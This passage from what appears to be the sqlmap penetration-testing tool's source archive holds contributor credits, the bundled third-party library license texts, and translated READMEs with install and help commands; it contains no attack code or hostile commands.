http://tinyurl.com/dirbuster Jim Forster, * for reporting a bug Rong-En Fan, * for committing the sqlmap 0.5 port to the official FreeBSD project repository Giorgio Fedon, * for suggesting a speed improvement for bisection algorithm * for reporting a bug when running against Microsoft SQL Server 2005 Kasper Fons, * for reporting several bugs Alan Franzoni, * for helping out with Python subprocess library Harold Fry, * for suggesting a minor enhancement Daniel G. Gamonal, * for reporting a minor bug Marcos Mateos Garcia, * for reporting a minor bug Andrew Gecse, * for reporting a minor issue Ivan Giacomelli, * for reporting a bug * for suggesting a minor enhancement * for reviewing the documentation Dimitris Giannitsaros, * for contributing a REST-JSON API client Nico Golde, * for reporting a couple of bugs Oliver Gruskovnjak, * for reporting a bug * for contributing a minor patch Davide Guerri, * for suggesting an enhancement Dan Guido, * for promoting sqlmap in the context of the Penetration Testing and Vulnerability Analysis class at the Polytechnic University of New York, http://isisblogs.poly.edu/courses/pentest/ David Guimaraes, * for reporting considerable amount of bugs * for suggesting several features Chris Hall, * for coding the prettyprint.py library Tate Hansen, * for donating to sqlmap development Mario Heiderich, Christian Matthies, Lars H. Strojny, * for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, https://github.com/PHPIDS/PHPIDS Kristian Erik Hermansen, * for reporting a bug * for donating to sqlmap development Alexander Hagenah, * for reporting a minor bug Dennis Hecken, * for reporting a minor bug Choi Ho, * for reporting a minor bug Jorge Hoya, * for suggesting a minor enhancement Will Holcomb, * for his MultipartPostHandler class to handle multipart POST forms and permission to include it within sqlmap source code Daniel Huckmann, * for reporting a couple of bugs Daliev Ilya, * for reporting a bug Mehmet İnce, * for contributing a tamper script xforwardedfor.py Jovon Itwaru, * for reporting a minor bug Prashant Jadhav, * for reporting a bug Dirk Jagdmann, * for reporting a typo in the documentation Luke Jahnke, * for reporting a bug when running against MySQL < 5.0 Andrew Kitis * for contributing a tamper script lowercase.py David Klein, * for reporting a minor code improvement Sven Klemm, * for reporting two minor bugs with PostgreSQL Anant Kochhar, * for providing with feedback on the user's manual Dmitriy Kononov, * for reporting a minor bug Alexander Kornbrust, * for reporting a couple of bugs Krzysztof Kotowicz, * for reporting a minor bug Nicolas Krassas, * for reporting a couple of bugs Oliver Kuckertz, * for contributing a minor patch Alex Landa, * for contributing a patch adding beta support for XML output Guido Landi, * for reporting a couple of bugs * for the great technical discussions * for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploit development * for presenting with Bernardo at SOURCE Conference 2009 in Barcelona (Spain) on September 21, 2009 and at CONfidence 2009 in Warsaw (Poland) on November 20, 2009 Lee Lawson, * for reporting a minor bug John J. Lee, and others * for developing the clientform Python library used by sqlmap to parse forms when --forms switch is specified Nico Leidecker, * for providing with feedback on a few features * for reporting a couple of bugs * for his great tool icmpsh included in sqlmap tree to get a command prompt via an out-of-band tunnel over ICMP, http://leidecker.info/downloads/icmpsh.zip Gabriel Lima, * for reporting a couple of bugs Svyatoslav Lisin, * for suggesting a minor feature Miguel Lopes, * for reporting a minor bug Truong Duc Luong, * for reporting a minor bug Pavol Luptak, * for reporting a bug when injecting on a POST data parameter Till Maas, * for suggesting a minor feature Michael Majchrowicz, * for extensively beta-testing sqlmap on various MySQL DBMS * for providing really appreciated feedback * for suggesting a lot of ideas and features Vinícius Henrique Marangoni, * for contributing a Portuguese translation of README.md Francesco Marano, * for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload Ahmad Maulana, * for contributing a tamper script halfversionedmorekeywords.py Ferruh Mavituna, * for exchanging ideas on the implementation of a couple of features David McNab, * for his XMLObject module that allows XML files to be operated on like Python objects Spencer J. McIntyre, * for reporting a minor bug * for contributing a patch for OS fingerprinting on DB2 Brad Merrell, * for reporting a minor bug Michael Meyer, * for suggesting a minor feature Enrico Milanese, * for reporting a minor bug * for sharing some ideas for the PHP backdoor Liran Mimoni, * for reporting a minor bug Marco Mirandola, * for reporting a minor bug Devon Mitchell, * for reporting a minor bug Anton Mogilin, * for reporting a few bugs Sergio Molina, * for reporting a minor bug Anastasios Monachos, * for providing some useful data * for suggesting a feature * for reporting a couple of bugs Kirill Morozov, * for reporting a bug * for suggesting a feature Alejo Murillo Moya, * for reporting a minor bug * for suggesting a few features Yonny Mutai, * for reporting a minor bug Roberto Nemirovsky, * for pointing out some enhancements Sebastian Nerz, * for reporting a (potential) vulnerability in --eval Simone Onofri, * for patching the PHP web backdoor to make it work properly also on Windows Michele Orru, * for reporting a couple of bug * for suggesting ideas on how to implement the RESTful API Shaohua Pan, * for reporting several bugs * for suggesting a few features Antonio Parata, * for sharing some ideas for the PHP backdoor Adrian Pastor, * for donating to sqlmap development Christopher Patten, * for reporting a bug in the blind SQL injection bisection algorithm Zack Payton, * for reporting a minor bug Jaime Penalba, * for contributing a patch for INSERT/UPDATE generic boundaries Pedrito Perez, <0ark1ang3l(at)gmail.com> * for reporting a couple of bugs Brandon Perry, * for reporting a couple of bugs Travis Phillips, * for suggesting a minor enhancement Mark Pilgrim, * for porting chardet package (Universal Encoding Detector) to Python Steve Pinkham, * for suggesting a feature * for contributing a new SQL injection vector (MSSQL time-based blind) * for donating to sqlmap development Adam Pridgen, * for suggesting some features Luka Pusic, * for reporting a couple of bugs Ole Rasmussen, * for reporting a bug * for suggesting a feature Alberto Revelli, * for inspiring to write sqlmap user's manual in SGML * for his great Microsoft SQL Server take over tool, sqlninja, http://sqlninja.sourceforge.net David Rhoades, * for reporting a bug Andres Riancho, * for beta-testing sqlmap * for reporting a bug and suggesting some features * for including sqlmap in his great web application audit and attack framework, w3af, http://w3af.sourceforge.net * for suggesting a way for handling DNS caching Jamie Riden, * for reporting a minor bug Alexander Rigbo, * for contributing a minor patch Antonio Riva, * for reporting a bug when running with python 2.5 Ethan Robish, * for reporting a bug Levente Rog, * for reporting a minor bug Andrea Rossi, * for reporting a minor bug * for suggesting a feature Frederic Roy, * for reporting a couple of bugs Vladimir Rutsky, * for suggesting a couple of minor enhancements Richard Safran, * for donating the sqlmap.org domain Tomoyuki Sakurai, * for submitting to the FreeBSD project the sqlmap 0.5 port Roberto Salgado, * for contributing considerable amount of tamper scripts Pedro Jacques Santos Santiago, * for reporting considerable amount of bugs Marek Sarvas, * for reporting several bugs Philippe A. R. Schaeffer, * for reporting a minor bug Henri Salo * for a donation Mohd Zamiri Sanin, * for reporting a minor bug Jorge Santos, * for reporting a minor bug Sven Schluter, * for contributing a patch * for waiting a number of seconds between each HTTP request Ryan Sears, * for suggesting a couple of enhancements * for donating to sqlmap development Uemit Seren, * for reporting a minor adjustment when running with python 2.6 Shane Sewell, * for suggesting a feature Ahmed Shawky, * for reporting a major bug with improper handling of parameter values * for reporting a bug Brian Shura, * for reporting a bug Sumit Siddharth, * for sharing ideas on the implementation of a couple of features Andre Silva, * for reporting a bug Benjamin Silva H. * for reporting a bug Duarte Silva * for reporting a couple of bugs M Simkin, * for suggesting a feature Konrads Smelkovs, * for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server Chris Spencer, * for reviewing the user's manual grammar Michael D. Stenner, * for his keepalive module that allows handling of persistent HTTP 1.1 keep-alive connections Marek Stiefenhofer, * for reporting a few bugs Jason Swan, * for reporting a bug when enumerating columns on Microsoft SQL Server * for suggesting a couple of improvements Chilik Tamir, * for contributing a patch for initial support SOAP requests Alessandro Tanasi, * for extensively beta-testing sqlmap * for suggesting many features and reporting some bugs * for reviewing the documentation Andres Tarasco, * for contributing good feedback Tom Thumb, * for reporting a major bug Kazim Bugra Tombul, * for reporting a minor bug Efrain Torres, * for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository * for his great Metasploit WMAP Framework Jennifer Torres, * for contributing a tamper script luanginx.py Sandro Tosi, * for helping to create sqlmap Debian package correctly Jacco van Tuijl, * for reporting several bugs Vitaly Turenko, * for reporting a bug Augusto Urbieta, * for reporting a minor bug Bedirhan Urgun, * for reporting a few bugs * for suggesting some features and improvements * for benchmarking sqlmap in the context of his SQL injection benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench Kyprianos Vasilopoulos, * for reporting a couple of minor bugs Vlado Velichkovski, * for reporting considerable amount of bugs * for suggesting an enhancement Johnny Venter, * for reporting a couple of bugs Carlos Gabriel Vergara, * for suggesting couple of good features Patrick Webster, * for suggesting an enhancement * for donating to sqlmap development (from OSI.Security) Ed Williams, * for suggesting a minor enhancement Anthony Zboralski, * for providing with detailed feedback * for reporting a few minor bugs * for donating to sqlmap development Thierry Zoller, * for reporting a couple of major bugs Zhen Zhou, * for suggesting a feature -insane-, * for reporting a minor bug 1ndr4 joe, * for reporting a couple of bugs abc abc, * for reporting a minor bug Abuse 007, * for reporting a bug agix, * for contributing the file upload via certutil.exe functionality Alex, * for reporting a minor bug anonymous anonymous, * for reporting a couple of bugs bamboo, * for reporting a couple of bugs Brandon E., * for reporting a bug black zero, * for reporting a minor bug blueBoy, * for reporting a bug buawig, * for reporting considerable amount of bugs Bugtrace, * for reporting several bugs cats, * for reporting a couple of bugs Christian S, * for reporting a minor bug clav, * for reporting a minor bug dragoun dash, * for reporting a minor bug flsf, * for contributing WAF scripts 360.py, anquanbao.py, baidu.py, safedog.py * for contributing a minor patch fufuh, * for reporting a bug when running on Windows Hans Wurst, * for reporting a couple of bugs Hysia, * for contributing a Chinese translation of README.md james, * for reporting a bug Joe "Pragmatk", * for reporting a few bugs John Smith, * for reporting several bugs * for suggesting some features m4l1c3, * for reporting considerable amount of bugs mariano, * for reporting a bug mitchell, * for reporting a few bugs Nadzree, * for reporting a minor bug nightman, * for reporting considerable amount of bugs Oso Dog osodog123(at)yahoo.com * for reporting a minor bug pacman730, * for reporting a bug pentestmonkey, * for reporting several bugs * for suggesting a few minor enhancements Phat R., * for reporting a few bugs Phil P, <(at)superevr> * for suggesting a minor enhancement ragos, * for reporting a minor bug rmillet, * for reporting a bug Rub3nCT, * for reporting a minor bug sapra, * for helping out with Python multiprocessing library on MacOS shiftzwei, * for reporting a couple of bugs smith, * for reporting a minor bug Soma Cruz, * for reporting a minor bug Spiros94, * for contributing a Greek translation of README.md Stuffe, * for reporting a minor bug and a feature request Sylphid, * for suggesting some features syssecurity.info, * for reporting a minor bug This LittlePiggy, * for reporting a minor bug ToR, * for reporting considerable amount of bugs * for suggesting a feature ultramegaman, * for reporting a minor bug Vinicius, * for reporting a minor bug virusdefender * for contributing WAF scripts safeline.py w8ay * for contributing an implementation for chunked transfer-encoding (switch --chunked) wanglei, * for reporting a minor bug warninggp, * for reporting a few minor bugs x, * for reporting a bug zhouhx, * for contributing a minor patch # Organizations Black Hat team, * for the opportunity to present my research titled 'Advanced SQL injection to operating system full control' at Black Hat Europe 2009 Briefings on April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of the sqlmap 0.7 release candidate version new features during my presentation * Homepage: http://goo.gl/BKfs7 * Slides: http://goo.gl/Dh65t * White paper: http://goo.gl/spX3N SOURCE Conference team, * for the opportunity to present my research titled 'Expanding the control over the operating system from the database' at SOURCE Conference 2009 on September 21, 2009 in Barcelona (ES). I unveiled and demonstrated some of the sqlmap 0.8 release candidate version new features during my presentation * Homepage: http://goo.gl/IeXV4 * Slides: http://goo.gl/OKnfj AthCon Conference team, * for the opportunity to present my research titled 'Got database access? Own the network!' at AthCon Conference 2010 on June 3, 2010 in Athens (GR). I unveiled and demonstrated some of the sqlmap 0.8 version features during my presentation * Homepage: http://goo.gl/Fs71I * Slides: http://goo.gl/QMfjO Metasploit Framework development team, * for their powerful tool Metasploit Framework, used by sqlmap, among others things, to create the shellcode and establish an out-of-band connection between sqlmap and the database server * Homepage: http://www.metasploit.com OWASP Board, * for sponsoring part of the sqlmap development in the context of OWASP Spring of Code 2007 * Homepage: http://www.owasp.org sqlmap-1.9.6/doc/THIRD-PARTY.md000066400000000000000000000346531502261744200157000ustar00rootroot00000000000000This file lists bundled packages and their associated licensing terms. # BSD * The `Ansistrm` library located under `thirdparty/ansistrm/`. Copyright (C) 2010-2012, Vinay Sajip. * The `Beautiful Soup` library located under `thirdparty/beautifulsoup/`. Copyright (C) 2004-2010, Leonard Richardson. * The `ClientForm` library located under `thirdparty/clientform/`. Copyright (C) 2002-2007, John J. Lee. Copyright (C) 2005, Gary Poster. Copyright (C) 2005, Zope Corporation. Copyright (C) 1998-2000, Gisle Aas. * The `Colorama` library located under `thirdparty/colorama/`. Copyright (C) 2013, Jonathan Hartley. * The `Fcrypt` library located under `thirdparty/fcrypt/`. Copyright (C) 2000, 2001, 2004 Carey Evans. * The `PrettyPrint` library located under `thirdparty/prettyprint/`. Copyright (C) 2010, Chris Hall. * The `SocksiPy` library located under `thirdparty/socks/`. Copyright (C) 2006, Dan-Haim. ```` Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ```` # LGPL * The `Chardet` library located under `thirdparty/chardet/`. Copyright (C) 2008, Mark Pilgrim. * The `KeepAlive` library located under `thirdparty/keepalive/`. Copyright (C) 2002-2003, Michael D. Stenner. * The `MultipartPost` library located under `thirdparty/multipart/`. Copyright (C) 2006, Will Holcomb. * The `icmpsh` tool located under `extra/icmpsh/`. Copyright (C) 2010, Nico Leidecker, Bernardo Damele. ```` GNU LESSER GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions. As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License. "The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version". The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL. You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions. If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 3. Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document. 4. Combined Works. You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the Combined Work with a copy of the GNU GPL and this license document. c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. d) Do one of the following: 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 5. Combined Libraries. You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 6. Revised Versions of the GNU Lesser General Public License. The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library. ```` # PSF * The `Magic` library located under `thirdparty/magic/`. Copyright (C) 2011, Adam Hupp. ```` PSF LICENSE AGREEMENT FOR PYTHON 2.7.3 This LICENSE AGREEMENT is between the Python Software Foundation (“PSF”), and the Individual or Organization (“Licensee”) accessing and otherwise using Python 2.7.3 software in source or binary form and its associated documentation. Subject to the terms and conditions of this License Agreement, PSF hereby grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use Python 2.7.3 alone or in any derivative version, provided, however, that PSF’s License Agreement and PSF’s notice of copyright, i.e., “Copyright © 2001-2012 Python Software Foundation; All Rights Reserved” are retained in Python 2.7.3 alone or in any derivative version prepared by Licensee. In the event Licensee prepares a derivative work that is based on or incorporates Python 2.7.3 or any part thereof, and wants to make the derivative work available to others as provided herein, then Licensee hereby agrees to include in any such work a brief summary of the changes made to Python 2.7.3. PSF is making Python 2.7.3 available to Licensee on an “AS IS” basis. PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON 2.7.3 WILL NOT INFRINGE ANY THIRD PARTY RIGHTS. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON 2.7.3 FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON 2.7.3, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. This License Agreement will automatically terminate upon a material breach of its terms and conditions. Nothing in this License Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between PSF and Licensee. This License Agreement does not grant permission to use PSF trademarks or trade name in a trademark sense to endorse or promote products or services of Licensee, or any third party. By copying, installing or otherwise using Python 2.7.3, Licensee agrees to be bound by the terms and conditions of this License Agreement. ```` # MIT * The `bottle` web framework library located under `thirdparty/bottle/`. Copyright (C) 2012, Marcel Hellkamp. * The `identYwaf` library located under `thirdparty/identywaf/`. Copyright (C) 2019-2020, Miroslav Stampar. * The `ordereddict` library located under `thirdparty/odict/`. Copyright (C) 2009, Raymond Hettinger. * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`. Copyright (C) 2010-2018, Benjamin Peterson. * The `Termcolor` library located under `thirdparty/termcolor/`. Copyright (C) 2008-2011, Volvox Development Team. ```` Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ```` # Public domain * The `PyDes` library located under `thirdparty/pydes/`. Copyleft 2009, Todd Whiteman. * The `win_inet_pton` library located under `thirdparty/wininetpton/`. Copyleft 2014, Ryan Vennell. sqlmap-1.9.6/doc/translations/000077500000000000000000000000001502261744200163155ustar00rootroot00000000000000sqlmap-1.9.6/doc/translations/README-bg-BG.md000066400000000000000000000077361502261744200204650ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система. Демо снимки ---- ![Снимка на екрана](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Можете да посетите [колекцията от снимки на екрана](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), показващи някои функции, качени на wiki. Инсталиране ---- Може да изтеглине най-новите tar архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/tarball/master) или най-новите zip архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/zipball/master). За предпочитане е да изтеглите sqlmap като клонирате [Git](https://github.com/sqlmapproject/sqlmap) хранилището: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap работи самостоятелно с [Python](https://www.python.org/download/) версия **2.6**, **2.7** и **3.x** на всички платформи. Използване ---- За да получите списък с основните опции използвайте: python sqlmap.py -h За да получите списък с всички опции използвайте: python sqlmap.py -hh Може да намерите пример за използване на sqlmap [тук](https://asciinema.org/a/46601). За да разберете възможностите на sqlmap, списък на поддържаните функции и описание на всички опции, заедно с примери, се препоръчва да се разгледа [упътването](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Връзки ---- * Начална страница: https://sqlmap.org * Изтегляне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS емисия: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues * Упътване: https://github.com/sqlmapproject/sqlmap/wiki * Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-ckb-KU.md000066400000000000000000000103571502261744200206540ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap)
بەرنامەی `sqlmap` بەرنامەیەکی تاقیکردنەوەی چوونە ژوورەوەی سەرچاوە کراوەیە کە بە شێوەیەکی ئۆتۆماتیکی بنکەدراوە کە کێشەی ئاسایشی SQL Injection یان هەیە دەدۆزێتەوە. ئەم بەرنامەیە بزوێنەرێکی بەهێزی دیاریکردنی تێدایە. هەروەها کۆمەڵێک سکریپتی بەرفراوانی هەیە کە ئاسانکاری دەکات بۆ پیشەییەکانی تاقیکردنەوەی دزەکردن(penetration tester) بۆ کارکردن لەگەڵ بنکەدراوە. لە کۆکردنەوەی زانیاری دەربارەی بانکی داتا تا دەستگەیشتن بە داتاکانی سیستەم و جێبەجێکردنی فەرمانەکان لە ڕێگەی پەیوەندی Out Of Band لە سیستەمی کارگێڕدا. سکرین شاتی ئامرازەکە ----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
بۆ بینینی [کۆمەڵێک سکرین شات و سکریپت](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) دەتوانیت سەردانی ویکیەکە بکەیت. دامەزراندن ---- بۆ دابەزاندنی نوێترین وەشانی tarball، کلیک [لێرە](https://github.com/sqlmapproject/sqlmap/tarball/master) یان دابەزاندنی نوێترین وەشانی zipball بە کلیککردن لەسەر [لێرە](https://github.com/sqlmapproject/sqlmap/zipball/master) دەتوانیت ئەم کارە بکەیت. باشترە بتوانیت sqlmap دابەزێنیت بە کلۆنکردنی کۆگای [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https://www.python.org/download/) وەشانی **2.6**، **2.7** و **3.x** لەسەر هەر پلاتفۆرمێک. چۆنیەتی بەکارهێنان ---- بۆ بەدەستهێنانی لیستی بژاردە سەرەتاییەکان و سویچەکان ئەمانە بەکاربهێنە: python sqlmap.py -h بۆ بەدەستهێنانی لیستی هەموو بژاردە و سویچەکان ئەمە بەکار بێنا: python sqlmap.py -hh دەتوانن نمونەی ڕانکردنێک بدۆزنەوە [لێرە](https://asciinema.org/a/46601). بۆ بەدەستهێنانی تێڕوانینێکی گشتی لە تواناکانی sqlmap، لیستی تایبەتمەندییە پشتگیریکراوەکان، و وەسفکردنی هەموو هەڵبژاردن و سویچەکان، لەگەڵ نموونەکان، ئامۆژگاریت دەکرێت کە ڕاوێژ بە [دەستنووسی بەکارهێنەر](https://github.com/sqlmapproject/sqlmap/wiki/Usage). بەستەرەکان ---- * ماڵپەڕی سەرەکی: https://sqlmap.org * داگرتن: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یان [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * فیدی RSS جێبەجێ دەکات: https://github.com/sqlmapproject/sqlmap/commits/master.atom * شوێنپێهەڵگری کێشەکان: https://github.com/sqlmapproject/sqlmap/issues * ڕێنمایی بەکارهێنەر: https://github.com/sqlmapproject/sqlmap/wiki * پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە وەرگێڕانەکان sqlmap-1.9.6/doc/translations/README-de-DE.md000066400000000000000000000061221502261744200204510ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 